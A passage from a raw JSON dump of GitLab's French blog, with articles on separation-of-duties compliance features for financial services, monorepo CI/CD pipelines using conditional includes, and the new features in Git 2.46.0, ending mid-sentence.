requests\n\nL’un des défis auxquels le secteur des services financiers est confronté est la mise en œuvre des mécanismes d'approbation qui bloquent l'intégration de modifications non autorisées ou non vérifiées. C'est là que les [stratégies d'approbation des merge requests](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) entrent en jeu. Elles renforcent la séparation des tâches entre les équipes de sécurité et de développement, en empêchant les développeurs et développeuses d'approuver leurs propres modifications de code, en particulier si elles contiennent des vulnérabilités. Elles veillent également à ce que le code ne soit pas déployé directement dans des environnements de production sans une supervision adéquate. \n\nLors de l'élaboration d'une stratégie d'approbation, il est conseillé de déterminer qui serait l'approbateur idéal pour garantir la qualité et la sécurité du code. Il peut s'agir d'un utilisateur individuel, d'un groupe tel que l'équipe de sécurité des applications, ou encore d'une personne exerçant une fonction spécifique, tel qu'un chargé de maintenance. Pour ajouter d'autres restrictions, vous devez prendre en compte les fonctionnalités stratégiques clés suivantes :\n\n* **Empêcher l'approbation par l'auteur :** cette mesure instaure un garde-fou afin que l'auteur d'une merge request ne puisse pas approuver ses propres modifications. En exigeant une revue de code indépendante, cette stratégie contribue à maintenir l'objectivité et l'impartialité du processus d'approbation.\n* **Empêcher les approbations par les utilisateurs ayant ajouté des commits :** les utilisateurs qui ajoutent des commits à une merge request ne peuvent pas non plus l'approuver. Cette stratégie renforce le principe de revue de code indépendante, de sorte que les modifications sont examinées par des membres de l'équipe qui n'ont pas directement contribué aux modifications.\n* **Empêcher la modification des règles d'approbation :** pour préserver l'intégrité du processus d'approbation, GitLab permet aux administrateurs d'empêcher la modification des règles d'approbation au niveau du projet ou de la merge request. Ainsi, une fois les stratégies d'approbation définies, ces règles ne peuvent plus être contournées ou modifiées par des utilisateurs non autorisés.\n* **Exiger le mot de passe de l'utilisateur lors de l'approbation :** pour encore plus de sécurité, GitLab peut demander aux utilisateurs de saisir leur mot de passe lors de l'approbation d'une merge request. \n\nAfin de maintenir une séparation claire des tâches, il est conseillé de [créer un groupe principal distinct](https://docs.gitlab.com/ee/user/application_security/policies/#enforce-policies-globally-in-gitlab-dedicated-or-your-gitlab-self-managed-instance) destiné à héberger vos stratégies de sécurité, ainsi que les stratégies d'approbation des merge requests. Cette configuration réduit le nombre d'utilisateurs ayant des autorisations héritées et permet un contrôle plus strict de la gestion des stratégies. À partir de ce groupe distinct, vous pouvez [relier les projets relatifs aux stratégies de sécurité](https://docs.gitlab.com/ee/user/application_security/policies/#link-to-a-security-policy-project) au niveau du groupe le plus élevé qui correspond à vos objectifs. Ainsi, vous réduisez les frais généraux de gestion des stratégies et garantissez une couverture complète de votre environnement de développement.\n\nIl est également important de noter que lorsqu'une stratégie est activée par défaut, elle s'applique automatiquement à tous les projets au sein des groupes, sous-groupes et projets associés. Si vous souhaitez appliquer des stratégies de manière plus ciblée, GitLab vous recommande de les associer à un label de [framework de conformité](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html). Nos clients soumis à de fortes réglementations créent généralement des labels de conformité spécifiques pour répondre aux exigences réglementaires, telles que « SOX » et « PCI ». Associer ces labels à un framework permet également au [centre de conformité natif](https://docs.gitlab.com/ee/user/compliance/compliance_center/) de gérer des stratégies de sécurité adaptées à divers cas d'utilisation.\n\n### Les frameworks de conformité et contrôles\n\nLes grandes entreprises évoluant dans des secteurs réglementés rencontrent des défis importants liés au maintien de la conformité. Les processus manuels sont sujets aux erreurs et il peut être difficile de maintenir une application cohérente des stratégies au sein des différentes équipes.\n\nEn utilisant les frameworks de conformité de GitLab, ces entreprises peuvent automatiser et administrer des mesures préventives, gérer systématiquement les risques et mettre en œuvre la conformité réglementaire de manière fluide. Ces frameworks permettent d'intégrer des protocoles de sécurité et des jobs personnalisés dans n’importe quel pipeline. \n\nPour protéger les paramètres de conformité au niveau de l'entreprise, GitLab permet uniquement aux propriétaires de groupes ou de projets d'ajouter ou de supprimer des frameworks de conformité. Cette mesure empêche les équipes de développement ou les responsables de modifier les configurations de conformité sans disposer des autorisations appropriées, ajoutant ainsi un niveau de sécurité supplémentaire. Il est important de noter que lorsqu'une personne dispose des autorisations de chargé de maintenance, elle est autorisée à créer un sous-groupe, elle devient propriétaire de ce sous-groupe et elle peut en modifier le framework de conformité. Pour éviter cela, il convient de [limiter le nombre de personnes autorisées à créer des sous-groupes](https://docs.gitlab.com/ee/user/group/subgroups/#change-who-can-create-subgroups) via les paramètres d'autorisations et de gestion des groupes.\n\n### La séparation des tâches en fonction des autorisations et des rôles\n\nPour implémenter efficacement la séparation des tâches dans le secteur des services financiers, il est essentiel d'établir un contrôle d'accès clair et précis. GitLab propose un [modèle d'autorisations](https://docs.gitlab.com/ee/user/permissions.html) à plusieurs niveaux avec des rôles prédéfinis : invité, rapporteur, développeur, chargé de maintenance et propriétaire. Chaque rôle dispose d'un ensemble spécifique d'autorisations afin que les personnes concernées puissent accomplir leurs tâches sans outrepasser leurs attributions, évitant ainsi les conflits d'intérêts ou les risques pour la sécurité. GitLab recommande d'attribuer les rôles en suivant le [principe du moindre privilège en matière d'accès](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/).\n\nPour les entreprises ayant besoin d'une gestion plus granulaire, en particulier celles qui utilisent [GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/ \"GitLab Ultimate\"), les [rôles personnalisés](https://docs.gitlab.com/ee/user/custom_roles.html) offrent encore plus de flexibilité. Ces rôles permettent de définir des autorisations spécifiques, adaptées à leurs workflows uniques et aux exigences de conformité associées. Ce système est particulièrement utile pour garantir la séparation des tâches, car aucune personne ne peut effectuer des tâches contradictoires.\n\nUn exemple courant est le rôle de déployeur : il s'agit d'une personne qui a l'autorisation de déployer des jobs, mais pas de modifier ou d'effectuer un push du code. GitLab répond à cette exigence par le biais des [environnements protégés](https://docs.gitlab.com/ee/ci/environments/protected_environments.html#protecting-environments) qui vous permettent d'[inviter des groupes autorisés à déployer des jobs](https://docs.gitlab.com/ee/ci/environments/protected_environments.html#deployment-only-access-to-protected-environments) tout en limitant le rôle des utilisateurs à celui de rapporteur. Notez que le job de déploiement doit inclure le mot-clé de l'environnement concerné. Cette configuration permet aux utilisateurs de déployer des jobs sans pouvoir modifier le code, garantissant ainsi le respect des exigences en matière de conformité réglementaire.\n\nEn définissant et en appliquant rigoureusement les rôles et autorisations, les entreprises peuvent créer un environnement de développement sécurisé et conforme. Si vous souhaitez examiner les autorisations de vos utilisateurs sur une plus grande échelle, vous pouvez utiliser ce [rapport sur les membres d'un groupe](https://gitlab.com/gitlab-com/cs-tools/gitlab-cs-tools/gitlab-group-member-report). Il vous permet de voir le nombre de membres occupant chaque rôle dans votre environnement et d'évaluer les actions à entreprendre en conséquence.\n\n### Les fonctionnalités protégées\n\nGitLab propose plusieurs fonctionnalités « protégées » pour renforcer le contrôle de votre processus de développement. Ces fonctionnalités peuvent s'avérer essentielles pour maintenir la séparation des tâches de sorte que seules les personnes autorisées puissent apporter des modifications importantes.\n\n* **Branches protégées :** une branche protégée restreint l'accès à un nombre limité de personnes pouvant effectuer un push, fusionner ou effectuer un push forcé vers la branche. Cela s'avère particulièrement utile pour les branches telles que la branche « principale » ou la branche de « production », afin que seuls les utilisateurs autorisés puissent apporter des modifications.\n* **Tags Git protégés :** ces tags permettent de contrôler les personnes autorisées à créer des tags. Cela permet d'éviter les mises à jour ou les suppressions accidentelles une fois le tag créé, préservant ainsi l'intégrité de votre gestion des versions.\n* **Environnements protégés :** il est impératif de restreindre l'accès à certains environnements spécifiques, en particulier les environnements de production, contre tout accès non autorisé. Dans un environnement protégé, seuls les utilisateurs disposant des privilèges appropriés peuvent y effectuer des déploiements, afin de protèger l'environnement contre toute modification involontaire. Cela renvoie à la fonctionnalité du rôle de déployeur mentionnée précédemment, qui permet à certains utilisateurs de déployer des jobs sans pour autant modifier le code, garantissant ainsi la conformité et la sécurité.\n* **Paquets protégés :** l'utilisation de règles de protection des paquets permet de limiter le nombre d'utilisateurs pouvant apporter des modifications à ces paquets.\n  Ces fonctionnalités protégées contribuent collectivement à maintenir un environnement de développement sécurisé et conforme aux principes de la séparation des tâches.\n\n### Les événements d'audit et le centre de conformité\n\nNous avons exploré les stratégies d'approbation, les frameworks de conformité, les rôles et les fonctionnalités protégées. Il nous reste maintenant à découvrir comment GitLab permet de surveiller et d'auditer ces implémentations pour en garantir le respect. Les [événements d'audit](https://docs.gitlab.com/ee/user/compliance/audit_events.html) de GitLab fournissent aux propriétaires et administrateurs un enregistrement détaillé des activités et des modifications, telles que l'activité des utilisateurs et les ajustements apportés au niveau du projet. Cette journalisation est essentielle pour suivre les actions des utilisateurs et repérer tout comportement non autorisé. Le [streaming des événements d'audit](https://docs.gitlab.com/ee/user/compliance/audit_event_streaming.html) optimise ce processus en permettant aux entreprises de diffuser des événements d'audit vers des systèmes externes pour une analyse et une alerte en temps réel. Ce faisant, toute altération ou violation des exigences de conformité est détectée, ce qui permet d'y remédier rapidement.\n\nLe [centre de conformité de GitLab](https://docs.gitlab.com/ee/user/compliance/compliance_center/) centralise la gestion et la surveillance des activités de conformité. Il offre une vue d'ensemble de l'état de conformité des projets et des groupes. Ce centre met en évidence les violations des exigences de conformité, telles que le non-respect des règles d'approbation des merge requests ou d'autres stratégies. Les administrateurs peuvent ainsi traiter rapidement les tickets, en certifiant le respect des normes de conformité prédéfinies. Cette approche centralisée simplifie la gestion de la conformité tout en garantissant un niveau élevé de surveillance et de contrôle.\n\n> Si vous souhaitez en savoir plus sur la vision de GitLab en matière de séparation des tâches et de conformité, consultez la page [Direction du produit GitLab lié à la Gouvernance](https://about.gitlab.com/direction/govern/) et la [documentation sur la conformité de GitLab](https://docs.gitlab.com/ee/administration/compliance.html).",[2512,2513],"Cherry Han","Gavin Peltz","2024-11-18","2024-08-13","Les fonctionnalités de séparation des tâches de GitLab pour le secteur financier",[673,1067,676,555],{"slug":2519,"featured":6,"template":683},"finserv-how-to-implement-gitlabs-separation-of-duties-features","content:fr-fr:blog:finserv-how-to-implement-gitlabs-separation-of-duties-features.yml","Finserv How To Implement Gitlabs Separation Of Duties Features","fr-fr/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features.yml","fr-fr/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features",{"_path":2525,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2526,"content":2531,"config":2537,"_id":2539,"_type":16,"title":2540,"_source":17,"_file":2541,"_stem":2542,"_extension":20},"/fr-fr/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way",{"title":2527,"description":2528,"ogTitle":2527,"ogDescription":2528,"noIndex":6,"ogImage":1081,"ogUrl":2529,"ogSiteName":841,"ogType":842,"canonicalUrls":2529,"schema":2530},"GitLab CI/CD : comment créer facilement un pipeline pour un monorepo","Découvrez comment configurer un pipeline CI/CD dans GitLab pour un dépôt monorepo et simplifier l'hébergement de plusieurs applications dans un seul dépôt.","https://about.gitlab.com/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab CI/CD : comment créer facilement un pipeline pour un monorepo\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Morris\"}],\n        \"datePublished\": \"2024-07-30\",\n      }\n                  ",{"title":2527,"description":2528,"authors":2532,"heroImage":1081,"date":2534,"body":2535,"category":825,"tags":2536,"updatedDate":1254},[2533],"Sam Morris","2024-07-30","Les monorepos permettent d’héberger le code de plusieurs applications au sein d'un seul dépôt. Dans GitLab, cela consiste à organiser le code source de chaque application dans des répertoires distincts au sein d'un même projet. Bien que cette approche facilite le [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/ \"Qu'est-ce que le contrôle de version ? \") pour l'ensemble du code, tirer parti des capacités avancées des [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ? \") de GitLab pouvait s'avérer complexe... jusqu'à l'arrivée d'une nouvelle fonctionnalité dans GitLab 16.4 !\n\n## Le cas idéal : des pipelines CI/CD indépendants pour un monorepo\n\nLorsque plusieurs applications coexistent dans un même dépôt, il est logique de vouloir disposer de pipelines CI/CD distincts pour chacune d'elles. Par exemple, si l'un de vos projets regroupe une application .NET et une application Spring, chacune d'elle nécessitera des jobs de compilation et de test différents. L'idéal serait donc de pouvoir découpler ces pipelines pour qu'ils s'exécutent uniquement lorsque des modifications sont apportées au code source de l'application concernée.\n\nTechniquement, cela revient à configurer un fichier de pipeline `.gitlab-ci.yml` au niveau du projet, qui inclut des fichiers YAML spécifiques basés sur les modifications détectées dans certains répertoires. Le fichier de pipeline `.gitlab-ci.yml` agit comme un plan de contrôle qui déclenche le pipeline approprié en fonction des modifications apportées au code.\n\n## Ancienne approche : le contournement\n\nAvant l'introduction de nouvelles fonctionnalités dans GitLab 16.4, il n'était pas possible d'inclure directement un fichier YAML en fonction des modifications apportées à un répertoire ou un fichier spécifique. Une solution de contournement était toutefois disponible. \n\nPrenons un exemple concret : un monorepo avec deux répertoires, `java` et `python`, contenant respectivement le code source d'une application Java et d'une application Python. Chaque répertoire disposait d'un fichier YAML propre à l'application pour gérer sa compilation. Le fichier de pipeline principal du projet incluait simplement les deux fichiers YAML des applications, mais une logique de gestion des modifications devait être directement intégrée dans ces fichiers.\n\n`.gitlab-ci.yml` :\n\n```\nstages:\n  - build\n  - test\n  - deploy\n\ntop-level-job:\n  stage: build\n  script:\n    - echo \"Hello world...\"\n\ninclude:\n  - local: '/java/j.gitlab-ci.yml'\n  - local: '/python/py.gitlab-ci.yml'\n\n```\n\nPour chaque application, il était nécessaire de créer un job masqué (par exemple, .java-common ou .python-common), qui ne s'exécutait qu'en présence de modifications apportées au répertoire correspondant. Les [jobs masqués](https://docs.gitlab.com/ee/ci/jobs/#hide-jobs) ne s'exécutaient pas par défaut. Ils servaient à centraliser la logique de déclenchement et à la réutiliser dans d'autres jobs. Cependant, cela impliquait d'étendre le job masqué dans chaque pipeline afin de respecter les règles de détection des modifications, qui déclenchaient alors le job d'exécution du pipeline. \n\n'j.gitlab-ci.yml':\n\n'''\nstages:\n  - build\n  - test\n  - deploy\n\n.java-common:\n  rules:\n    - changes:\n      - ../java/*'\n\njava-build-job:\n  extends: .java-common\n  stage: build\n  script:\n    - echo \"Building Java\"\n\njava-test-job:\n  extends: .java-common\n  stage: test\n  script:\n    - echo \"Testing Java\"\n\n'''\n\n'py.gitlab-ci.yml':\n\n'''\nstages:\n  - build\n  - test\n  - deploy\n\n.python-common:\n  rules:\n    - changes:\n      - \"../python/*\"\n\npython-build-job:\n  extends: .python-common\n  stage: build\n  script:\n    - echo \"Building Python\"\n\npython-test-job:\n  extends: .python-common\n  stage: test\n  script:\n    - echo \"Testing Python\"\n\n'''\n\nCette méthode fonctionnait, mais présentait des inconvénients majeurs. En effet, chaque pipeline devait étendre le job masqué pour chaque autre job dans le fichier YAML afin de respecter les règles de déclenchement. Elle avait pour conséquence la création de code redondant et l'augmentation du risque d'erreur humaine. De plus, les jobs étendus n'acceptaient pas de clés en double. Vous ne pouviez donc pas définir votre propre logique de règles (`rules`), car cela entraînait des conflits de clés et leurs [valeurs n'étaient pas fusionnées](https://docs.gitlab.com/ee/ci/yaml/index.html#extends). \n\nMalgré tout, avec cette méthode, le pipeline est opérationnel, incluant les jobs j.gitlab-ci.yml dès que le répertoire `java/` est mis à jour, et les jobs py.gitlab-ci.yml dès que le répertoire `python/` est mis à jour. \n\n## Nouvelle approche : l'inclusion conditionnelle des fichiers de pipeline\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/6phvk8jioAo?si=y6ztZODvUtM-cHmZ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line ->\n\nAvec le lancement de GitLab 16.4, nous avons introduit une nouvelle fonctionnalité : la possibilité d'utiliser le terme [`include` avec `rules:changes` dans les pipelines CI/CD](https://docs.gitlab.com/ee/ci/yaml/includes.html#include-with-ruleschanges). Auparavant, vous pouviez utiliser l'option `include` avec `rules:if`, mais pas avec `rules:changes`. Cette nouvelle version est donc une amélioration majeure. Désormais, vous pouvez simplement utiliser le terme `include` et définir les règles du monorepo dans la configuration du pipeline de votre projet. \n\nNouveau fichier `.gitlab-ci.yml` :\n\n```\nstages:\n  - build\n  - test\n\ntop-level-job:\n  stage: build\n  script:\n    - echo \"Hello world...\"\n\ninclude:\n  - local: '/java/j.gitlab-ci.yml'\n    rules:\n      - changes:\n        - 'java/*'\n  - local: '/python/py.gitlab-ci.yml'\n    rules:\n      - changes:\n        - 'python/*'\n\n```\n\nAinsi, le fichier YAML de chaque application se concentre exclusivement sur les jobs nécessaires à cette application, comme la compilation et le test du code, sans avoir à étendre à plusieurs reprises un job masqué. Cette approche permet une plus grande flexibilité dans les définitions de job et les ingénieurs n'ont plus besoin de réécrire le code des configurations.\n\nNouveau fichier `j.gitlab-ci.yml` (Java) :\n\n```\nstages:\n  - build\n  - test\n  - deploy\n\njava-build-job:\n  stage: build\n  script:\n    - echo \"Building Java\"\n\njava-test-job:\n  stage: test\n  script:\n    - echo \"Testing Java\"\n\n```\n\nNouveau fichier `py.gitlab-ci.yml` (Python) :\n```\nstages:\n  - build\n  - test\n  - deploy\n\npython-build-job:\n  stage: build\n  script:\n    - echo \"Building Python\"\n\npython-test-job:\n  stage: test\n  script:\n    - echo \"Testing Python\"\n\n```\n\nCette méthode permet d'inclure les jobs Java et Python uniquement lorsque leurs répertoires respectifs sont modifiés. Cependant, il convient de noter que [les jobs peuvent s'exécuter de manière inattendue lors de l'utilisation de `changes`](https://docs.gitlab.com/ee/ci/jobs/job_troubleshooting.html#jobs-or-pipelines-run-unexpectedly-when-using-changes). La règle de déclenchement des modifications est toujours évaluée comme vraie lors du push d'une nouvelle branche ou d'un nouveau tag dans GitLab. Ainsi, tous les jobs inclus dans le pipeline s'exécuteront lors du premier push d'une branche, même si des règles `rules:changes` spécifiques sont définies. Vous pouvez résoudre ce problème en créant d'abord votre branche de fonctionnalité, puis en ouvrant une merge request pour commencer votre développement, car le premier push vers la branche lors de sa création forcera l'exécution de tous les jobs.\n\nEn fin de compte, les monorepos constituent une stratégie adaptée à GitLab et à l'approche CI/CD. La fonctionnalité `include` avec `rules:changes` est une bonne pratique que nous recommandons lors de l'utilisation de GitLab CI avec des monorepos. Pour utiliser les monorepos, commencez par essayer Gitlab Ultimate gratuitement dès aujourd'hui.\n",[110,1069],{"slug":2538,"featured":6,"template":683},"building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way","content:fr-fr:blog:building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way.yml","Building A Gitlab Ci Cd Pipeline For A Monorepo The Easy Way","fr-fr/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way.yml","fr-fr/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way",{"_path":2544,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2545,"content":2549,"config":2555,"_id":2557,"_type":16,"title":2558,"_source":17,"_file":2559,"_stem":2560,"_extension":20},"/fr-fr/blog/whats-new-in-git-2-46-0",{"title":2546,"description":2220,"ogTitle":2546,"ogDescription":2220,"noIndex":6,"ogImage":2300,"ogUrl":2547,"ogSiteName":841,"ogType":842,"canonicalUrls":2547,"schema":2548},"Nouveautés de Git 2.46.0","https://about.gitlab.com/blog/whats-new-in-git-2-46-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Nouveautés de Git 2.46.0\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Justin Tobler\"}],\n        \"datePublished\": \"2024-07-29\",\n      }",{"title":2546,"description":2220,"authors":2550,"heroImage":2300,"date":2551,"body":2552,"category":928,"tags":2553,"updatedDate":2554},[1044],"2024-07-29","Le projet Git a récemment publié la [version 2.46.0 de Git](https://lore.kernel.org/git/xmqqzfq0i0qa.fsf@gitster.g/T/#u). Jetons un coup d'œil aux points forts de cette version, comprenant des contributions de l'équipe Git de GitLab et de la communauté Git au sens large.\n\n## Outils pour migrer les backends de références\n\nDans la version [Git 2.45.0](https://gitlab.com/gitlab-org/git/-/raw/master/Documentation/RelNotes/2.45.0.txt?ref_type=heads)\nprécédente, le format « reftable » est devenu le nouveau backend pour le stockage\ndes références. Ce nouveau format de référence vise à améliorer les performances et l'efficacité des dépôts Git,\nen particulier lorsque le nombre de références devient très élevé. Si le backend « reftable » ne vous est pas encore\nfamilier, n'hésitez pas à consultez notre précédent [article de blog consacré à la version 2.45.0 de Git](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-45-0/) dans lequel nous présentons ce nouveau format, ainsi que notre guide du débutant pour [en savoir plus sur le fonctionnement des reftables](https://about.gitlab.com/fr-fr/blog/a-beginners-guide-to-the-git-reftable-format/ \"Format reftable de Git\").\n\nLe backend « reftable » offre un format de stockage sur disque différent de l'ancien format de backend basé sur les fichiers. Par conséquent, l’utilisation du format « reftable » avec un dépôt existant, nécessite une conversion entre les différents formats. Pour cela, une nouvelle commande git-refs(1) a été introduite, incluant la sous-commande `migrate` pour effectuer les migrations de backend de référence. Voici un exemple illustrant l'utilisation de cette commande :\n\n```shell\n# Initialize a new repository as “bare” so it does not contain reflogs.\n$ git init --bare .\n$ git commit --allow-empty -m \"init\"\n# Populate repository with references in the files backend.\n$ git branch foo\n$ git branch bar\n$ tree .git/refs\n.git/refs\n├── heads\n│   ├── bar\n│   ├── foo\n│   ├── main\n└── tags\n# Perform reference migration to reftables format.\n$ git refs migrate --ref-format=reftable\n# Check that reftables backend is now in use.\n$ tree .git/reftable\n.git/reftable\n├── 0x000000000001-0x000000000001-a3451eed.ref\n└── tables.list\n# Check the repository config to see the updated `refstorage` format.\n$ cat config\n[core]\n        repositoryformatversion = 1\n        filemode = true\n        bare = true\n        ignorecase = true\n        precomposeunicode = true\n[extensions]\n        refstorage = reftable\n```\n\nUne fois qu'un dépôt est migré, le format de stockage sur disque est mis à jour, permettant ainsi\nl'utilisation du backend « reftable ». Les opérations Git dans le dépôt continuent de\nfonctionner normalement et d'interagir avec les dépôts distants comme elles le faisaient auparavant. La migration n'a d'incidence que\nsur la manière dont les références sont stockées en interne pour le dépôt. Si vous souhaitez revenir au backend « fichiers », vous pouvez le faire avec la même commande en spécifiant à la place `--ref-format=files`.\n\nL'outil de migration présente actuellement certaines limitations notables. Les reflogs dans un dépôt font partie du backend de gestion des références et nécessitent également une migration lors du changement de format. Malheureusement, l'outil n'est pas encore capable de convertir les reflogs entre les backends « fichiers » et les backends « reftable ». De plus, un dépôt avec des [arbres de travail](https://git-scm.com/docs/git-worktree/fr \"Arbres de travail Git\") dispose en réalité de plusieurs ref stores et l'outil de migration ne prend pas encore en charge ce scénario. Par conséquent, si un dépôt contient des reflogs ou des arbres de travail, la migration des références n'est actuellement pas possible. Ces limitations pourraient être résolues dans les futures versions.\n\nLes dépôts Git « bare » ne contiennent pas de reflogs, ce qui facilite leur migration. Pour migrer un dépôt « non bare » standard, les reflogs doivent d'abord être supprimés. Ainsi, il est possible de migrer tout dépôt dépourvu de reflog et d'arbre de travail. En tenant compte de ces limitations, cet outil de migration peut être très utile pour profiter des avantages du backend « reftable » dans vos dépôts existants.\n\nCe projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Mises à jour des références symboliques transactionnelles\n\nLa commande [git-update-ref(1)](https://git-scm.com/docs/git-update-ref)\npermet de mettre à jour les références dans un dépôt Git. Ces mises à jour de références peuvent également être effectuées de manière atomique en bloc via des transactions, en utilisant la commande\n`git update-ref --stdin` pour transmettre les informations de mise à jour de références à stdin. Voici un exemple :\n\n```shell\n$ git init .\n$ git branch -m main\n$ git commit --allow-empty -m \"foo\" && git commit --allow-empty -m \"bar\"\n# Retrieve the object ID of the two commits created.\n$ git rev-parse main~ main\n567aac2b3d1fbf0bd2433f669eb0b82a0348775e\n3b13462a9a42e0a3130b9cbc472ab479d3ef0631\n# Start transaction, provide update-ref instructions, and commit.\n$ git update-ref --stdin \u003C\u003CEOF\n> start\n> create refs/heads/new-ref 3b13462a9a42e0a3130b9cbc472ab479d3ef0631\n> update refs/heads/main 567aac2b3d1fbf0bd2433f669eb0b82a0348775e\n> commit\n> EOF\n$ git for-each-ref\n567aac2b3d1fbf0bd2433f669eb0b82a0348775e commit refs/heads/main\n3b13462a9a42e0a3130b9cbc472ab479d3ef0631 commit refs/heads/my-ref\n```\n\nDans cet exemple, une fois la transaction validée, une nouvelle branche est créée et pointe vers le commit « bar » tandis que la branche principale est mise à jour et pointe vers le commit « foo » précédent. La validation de la transaction exécute les mises à jour des références spécifiées de manière atomique. Si une mise à jour concernant une référence particulière échoue, la transaction est abandonnée et aucune mise à jour de références n'est effectuée.\n\nIl convient de noter ici qu'aucune instruction quant à la prise en charge des mises à jour des références symboliques n'est disponible pour ces\ntransactions. Si un utilisateur souhaite mettre à jour une référence symbolique en même temps que d'autres références\nde manière atomique dans une seule transaction, il n'existe pas d'outil pour le faire. Dans la\nnouvelle version de Git, les instructions `symref-create`, `symref-update`, `symref-delete` et\n`symref-verify` sont introduites pour fournir cette fonctionnalité.\n\n```shell\n# Create a symref that will be updated during the next operation.\n$ git symbolic-ref refs/heads/symref refs/heads/main\n# The --no-deref flag is required to ensure the symref itself is updated.\n$ git update-ref --stdin --no-deref \u003C\u003CEOF\n> start\n> symref-create refs/heads/new-symref refs/heads/main\n> symref-update refs/heads/symref refs/heads/new-ref\n> commit\n> EOF\n$ git symbolic-ref refs/heads/symref\nrefs/heads/new-ref\n$ git symbolic-ref refs/heads/new-symref\nrefs/heads/main\n```\n\nL'exemple ci-dessus illustre la création d'une nouvelle référence symbolique et la mise à jour d'une autre\nau cours d'une transaction. Ces nouvelles instructions pour les références symboliques peuvent désormais être\ncombinées avec les instructions existantes afin de réaliser toutes sortes de\nmises à jour de références dans une seule transaction. Pour en savoir plus\nsur chacune de ces nouvelles instructions, consultez la [documentation](https://git-scm.com/docs/git-update-ref).\n\nCe projet a été mené par [Karthik Nayak](https://gitlab.com/knayakgl).\n\n## Améliorations de l'expérience utilisateur pour git-config(1)\n\nLa commande git-config(1) est utilisée dans Git pour visualiser et modifier les options de configuration, tant au niveau local (pour un dépôt spécifique) qu'au niveau global (pour l'ensemble de l'interface utilisateur). Les modes d'interaction avec la configuration peuvent être choisis explicitement à l'aide d'indicateurs spécifiques ou déterminés implicitement en fonction du nombre d'arguments fournis à la commande. Voici un exemple :\n\n```shell\n$ git config --list\n# Explicit retrieval of username configuration\n$ git config --get user.name\n# Implicit retrieval of username configuration\n$ git config user.name\n# Explicit setting of username configuration\n$ git config --set user.name \"Sidney Jones\"\n# Implicit setting of username configuration\n$ git config user.name \"Sidney Jones\"\n# An optional third argument is also accepted. What do you think this does?\n$ git config \u003Cname> [\u003Cvalue> [\u003Cvalue-pattern>]]\n```\n\nGlobalement, l'interface utilisateur de [git-config(1)](https://git-scm.com/docs/git-config)\nn'est pas cohérente avec le fonctionnement d'autres commandes Git plus récentes, où l'on utilise généralement des sous-commandes. Par exemple, `git remote list`. Cette nouvelle version Git introduit les sous-commandes `list`, `get`, `set`, `unset`, `rename-section`, `remove-section` et `edit` pour la commande config, tout en conservant l'ancienne syntaxe. Ce changement vise à améliorer l'expérience utilisateur en adaptant la commande config pour qu'elle suive des pratiques plus modernes et soit davantage alignée avec les autres commandes de Git. Par exemple :\n\n```shell\n$ git config list\n$ git config get user.name\n$ git config set user.name \"Sidney Jones\"\n```\n\nCe projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Correction de la régression des performances\n\nLes opérations Git qui utilisent des attributs reposent sur la lecture des fichiers `.gitattributes` présents dans l'arbre de travail du dépôt. Cela pose un problème pour les dépôts Git « bare » qui sont, par définition, dépourvus d'un arbre de travail. Pour contourner ce problème, Git dispose de la configuration `attr.tree`, qui permet de définir un arbre source et de l'utiliser pour en extraire des attributs.\n\nDans la version 2.43.0 de Git, Git a commencé à utiliser par défaut l'arborescence de `HEAD` comme source des attributs Git dans le cas de dépôts « bare  ». Malheureusement, cette charge de travail supplémentaire liée à la recherche de fichiers d'attributs Git a eu de graves impacts sur les performances. En effet, à chaque recherche d'attribut, l'arbre source est parcouru dans son ensemble pour rechercher un fichier `.gitattributes` associé, si `attr.tree` est défini. Plus l'arbre source du dépôt est grand et profond, plus la régression des performances est évidente. Par exemple, des tests de performance réalisés sur le dépôt linux.git ont montré que\ngit-pack-objects(1) mettait 1,68 fois plus de temps à s'exécuter. Cela peut entraîner des ralentissements lors d'opérations de clonage ou de récupération.\n\n```\n# attr.tree set to HEAD as done by default in Git version 2.43.0.\nBenchmark 1: git -c attr.tree=HEAD pack-objects --all --stdout \u003C/dev/null >/dev/null\n  Time (mean ± σ):     133.807 s ±  4.866 s    [User: 129.034 s, System: 6.671 s]\n  Range (min … max):   128.447 s … 137.945 s    3 runs\n\n# attr.tree is set to an empty tree to disable attribute lookup as done in Git versions prior to 2.43.0.\nBenchmark 2: git -c attr.tree=4b825dc642cb6eb9a060e54bf8d69288fbee4904 pack-objects --all --stdout \u003C/dev/null >/dev/null\n  Time (mean ± σ):     79.442 s ±  0.822 s    [User: 77.500 s, System: 6.056 s]\n  Range (min … max):   78.583 s … 80.221 s    3 runs\n```\n\nLes commandes Git les plus impactées étaient `clone`, `pull`, `fetch` et `diff`, particulièrement lorsqu'elles étaient utilisées sur des dépôts avec des arborescences volumineuses ou profondes. Par conséquent, dans Git 2.46.0, la configuration `attr.tree` a été partiellement modifiée pour ne plus être définie sur `HEAD` par défaut afin de remédier à la régression des 